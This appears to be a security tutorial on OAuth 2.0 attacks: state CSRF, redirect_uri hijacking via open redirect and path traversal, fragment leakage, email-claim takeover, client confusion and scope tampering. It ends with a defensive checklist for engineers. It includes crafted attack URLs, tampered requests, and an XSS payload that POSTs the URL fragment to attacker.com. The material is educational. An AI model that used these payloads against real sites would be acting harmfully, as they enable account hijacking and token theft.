Introduction
In this article we will focus on the most common OAuth 2.0 Attacks:
- OAuth CSRF (Improper State Handling)
- Account Hijacking (Redirect Attack)
- OAuth response exfiltration via URL fragment
- Mutable Claims (Account Takeover via Email)
- Scope Upgrade Attack
For every security flaw, one or more practical examples are provided to facilitate straightforward understanding of the underlying issue.
(At the end you can find the tip for pentesters which makes the attacks even more dangerous)
OAuth CSRF (Improper State Handling)
State is optional in OAuth 2.0 by specification, but it is the primary CSRF protection mechanism and SHOULD always be used. Modern OIDC flows often use both state and nonce.
In this section, I will explain the importance of the state parameter. Many of you are probably already familiar with CSRF attacks. In the context of OAuth, we must also protect against them, as missing safeguards can lead to unauthorized access to another user’s information.
However logging someone to our own account with specially crafted link is definitely not a big flaw UNTIL we touch integrations which can merge with each other e.g. Google Calendar - the risk here mostly depends on the specific implementation which uses OAuth.
Example 1 - Missing state Parameter
You can practice this kind of bug on the PortSwigger lab: Forced OAuth profile linking .
In the first example I will show the simplest way of CSRF exploitation where Client Application does not check in any way for existence and correctness of state parameter.
Imagine you have the following flow:
- Attacker provides username and password to login to Client Application (not logging in with OAuth Provider)
- There is an option to link their social media account using the OAuth Flow
- During flow there is the following request which links the account to Client Application:
https://client-application.com/oauth-linking?code=ATTACKER_CODE
Originally it is used for linking attacker's account but since there is no check who actually is running this OAuth link we can drop the request in our browser and send it to the victim.
When the victim enters the link above their social media account becomes associated with attacker's account.
Example 2 - Improper Validation of state
The Client Application check only for existence of state parameter in the application.
Imagine you have the following flow:
- Attacker provides username and password to login to Client Application (not logging in with OAuth Provider)
- There is an option to link their social media account using the OAuth Flow
- During flow there is the following request which links the account to Client Application:
https://client-application.com/oauth-linking?code=ATTACKER_CODE&state=ATTACKER_STATE
At the first sight we can think that the application is secure since it uses the state in the request flow. Unfortunately there can still be problems when it comes to that implementation - one of them can be improper check for state parameter where Client Application only check for state code existence without checking its connection to the code parameter which makes state parameter completely useless.
If that is the case attack does not differ from previous example except the fact that the link used for the attack is a little bit longer.
Account Hijacking (Redirect Attack)
In this example an attacker is able to hijack other user's account by manipulating the redirect_url parameter and stealing their OAuth code returned by OAuth Provider.
Remember how during initial request to OAuth provider web browser send the request below in certain flows?
GET /authorize?client_id=abc123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&response_type=code
&scope=read_profile%20read_email
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: oauth-provider.com
If redirect_uri parameter is not checked properly we (as attackers) can intercept request from OAuth Provider (example below):
GET /callback?code=SplxlOBeZQQYbYS6WxSbIA
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: client-application.com
If that information comes to us instead of client server we are able to hijack other person account.
State or nonce protection does not necessarily prevent these attacks because an attacker can generate new values from their own browser.
Example 1 - Complete lack of validation
Complete lack of validation is pretty much dead at this point but helps in understanding the context before moving to more advanced techniques.
The simplest form of this attack can be tested on Portswigger: OAuth Account Hijacking via Redirect URI .
In the web application we have the initial call to OAuth provider when we passing the following parameters:
- client_id
(unique identifier of the client application) - redirect_uri
(URI to which the user's browser should be redirected when sending the authorization code to the client application) - response_type
(type of response the client application is expecting) - scope
(scope of returned data by OAuth provider) - state
(CSRF protection) - PCKE
(Optional, prevention for authorization code interception attacks - more on that topic later)
Our job is to swap the request with redirect_uri pointed to our web server. If there is no validation of validation is incorrectly validated then...
Victim Authorize access from our malicious link.
And the tokens go to the attacker as we can see in the picture below.
Example 2 - Using Unsafe Redirects on Client Domain
Right now we will on more up to date attack. Since in the most web applications there is implementation of domain validation we have to try a little bit harder. This is where vulnerability chaining comes into play.
If in the Client Application there is Open Redirect vulnerability triggered by GET request we can try to use it in our attack.
How does it look like in action?
1. Find Open Redirect vulnerability in the Client Application:
For the sake of easy explanation lets assume it looks like that:
https://client-application.com/redir/attacker-controlled-domain.com
2. Adjust the payload to bypass the restrictions
There are a lot of ways to play with redirections during the check - in order to get to know them you can visit: PayloadsAllTheThings Open Redirect
Imagine our restriction looks like this (Of course the implementation is on OAuth Provider side):
if redirect_uri.startswith("https://client-application.com/callback"):
allow()
in that case we still are able to perform an attack. How?
We just paste the correct path and then use URL path traversal to input our malicious path.
https://client-application.com/callback/../redir/attacker-controlled-domain.com
3. Input our malicious link inside OAuth Flow and send the url to the victim:
https://client-application.com/authorize?client_id=abc123456789&redirect_uri=https%3A%2F%2Fclient-application.com%2Fcallback%2F..%2Fredir%2Fattacker-controlled-domain.com&response_type=code&scope=read_profile%20read_email&state=9f8b7c6d5e4f3210
4. When victim will log in we as attackers will obtain the authorization code, exchange it for session cookie which is successful indication of account hijacking:
GET /callback?code=SplxlOBeZQQYbYS6WxSbIA
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: client-application.com
OAuth Response Exfiltration via URL Fragment
In OAuth during the flow we can use response_mode with fragment value. It causes the OAuth provider to return the parameters within the URL:
https://client-application.com/#code=SplxlOBeZQQYbYS6WxSbIA&state=9f8b7c6d5e4f3210
If we can:
- Make an application do not consume the code
- Read victim URL (XSS / Any other vulnerability which leaks the URL)
We can takeover someones OAuth flow.
Example 1 - OAuth Response Exfiltration Using XSS
If the requirements from above will be satisfied we can try to exfiltrate the URL with sensitive data using Cross Site Scripting. Below you can find sample payload which is able to do that:
<img src="x" onerror='fetch("https://attacker.com/collect",{method:"POST",body:document.location.hash})'>
Mutable Claims (Account Takeover via Email)
In this scenario the application uses mutable fields to identify users.
What does mutable mean in this context?
Mutable claim is any identity attribute provided by an Identity Provider (IdP) that can be changed by the user after their account is created.
Examples of mutable claims:
- Email address (many IdPs allow unverified emails to appear in the claims)
- Display name
- Phone number (many IdPs allow unverified phone numbers to appear in the claims)
Examples of non-mutable claims:
- sub (the unique subject identifier)
- oid (Azure AD Object ID)
- Internal immutable user IDs
Example 1 - Account Takeover via Email
Let's say our OAuth Provider is GitHub. Let's say for the sake of this example in GitHub there is a possibility to change our email without confirming it (in the profile setting there is information about confirmation but still the new email reflect in account information).
If Client Application links accounts based on email instead of sub parameter there is a possibility of hijacking account. That is how it is done:
1. An attacker set his email in GitHub to victim's email:
[email protected] -> [email protected]
2. The app links account based on email provided from Identity Provider account information.
3. The attacker gains access to Victim's repos.
Client Confusion Attack
During this attack a token issued for one client is accepted by another which results in linking victim's account to our own.
Example 1 - Authentication Bypass via Implicit Flow
Lab with this vulnerability can be found here: OAuth Authentication Bypass via OAuth Implicit Flow
Let's say we have an application where we log in using social media account.
Then we Authorize the Client Application.
During the Authorization flow we can find the following request with our email - [email protected].
POST /authenticate HTTP/2
Host: 0a170049035395bb81056bfe00fa009f.web-security-academy.net
Cookie: session=62QwvQe36ceBklSWeu2NbIIcXKWkOP61
Content-Length: 103
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: pl-PL,pl;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Origin: https://0a170049035395bb81056bfe00fa009f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a170049035395bb81056bfe00fa009f.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"email":"[email protected]","username":"wiener","token":"J-cQ7AFMV6kR__HmqZYznF8ChjVtdSzYoVIUs9jSB8a"}
If we will change information in json of our email:
{"email":"[email protected]","username":"wiener","token":"J-cQ7AFMV6kR__HmqZYznF8ChjVtdSzYoVIUs9jSB8a"}
To victims email:
{"email":"[email protected]","username":"wiener","token":"J-cQ7AFMV6kR__HmqZYznF8ChjVtdSzYoVIUs9jSB8a"}
Our account links to victims OAuth account:
Scope Upgrade Attack
During the token exchange phase, an attacker intercepts and alters the requested scope, resulting in a token with elevated or unintended permissions.
Example 1 - Request Tampering
Imagine we are into the OAuth flow and we encounter the request where the scope is defined:
GET /authorize?client_id=abc123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&response_type=code
&scope=read_profile%20read_email
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: oauth-provider.com
When the server does not validate the scope attacker is able to elevate his privileges:
GET /authorize?client_id=abc123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&response_type=code
&scope=administrator
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: oauth-provider.com
Of course this vulnerability strongly is based on Client Application logic and specific OAuth implementation.
The authorization server should ignore user-modified scopes and enforce server-side predefined scopes. If it trusts the user’s request, privilege escalation becomes possible.
Tip for Pentesters - prompt=none Makes Attacks Easier
This setting can ease the attack for the offensive side.
Usually during the OAuth flow we use the following parameter:
prompt=consent
Which shows up the following dialog box:
Sometimes we can use prompt parameter with none value in our payload which skips entirely the dialog box which greately increases likelihood of the attack.
prompt=none
Conclusion
OAuth vulnerabilities are rarely about crypto or protocol design. In real applications they are almost always
implementation and configuration issues: weak state handling, sloppy redirect_uri validation,
trusting mutable claims, accepting tokens for the wrong client or not constraining scopes.
Quick checklist for engineers and security teams:
- Always use Authorization Code + PKCE instead of Implicit Flow.
- Generate and validate per-session
state(andnoncefor OIDC). - Configure a strict allowlist of
redirect_urivalues per client. - Link accounts using stable identifiers like
sub/oid, not mutable fields like email alone. - Validate audience, issuer and client for every token you consume.
- Define allowable scopes server-side; never fully trust client-supplied
scopevalues. - Harden callback endpoints against XSS and URL-leak vulnerabilities.
If your organization relies heavily on OAuth/OIDC, regular security testing and protocol-aware code review are essential. A single misconfiguration can easily turn “Log in with” into “Take over any account with”.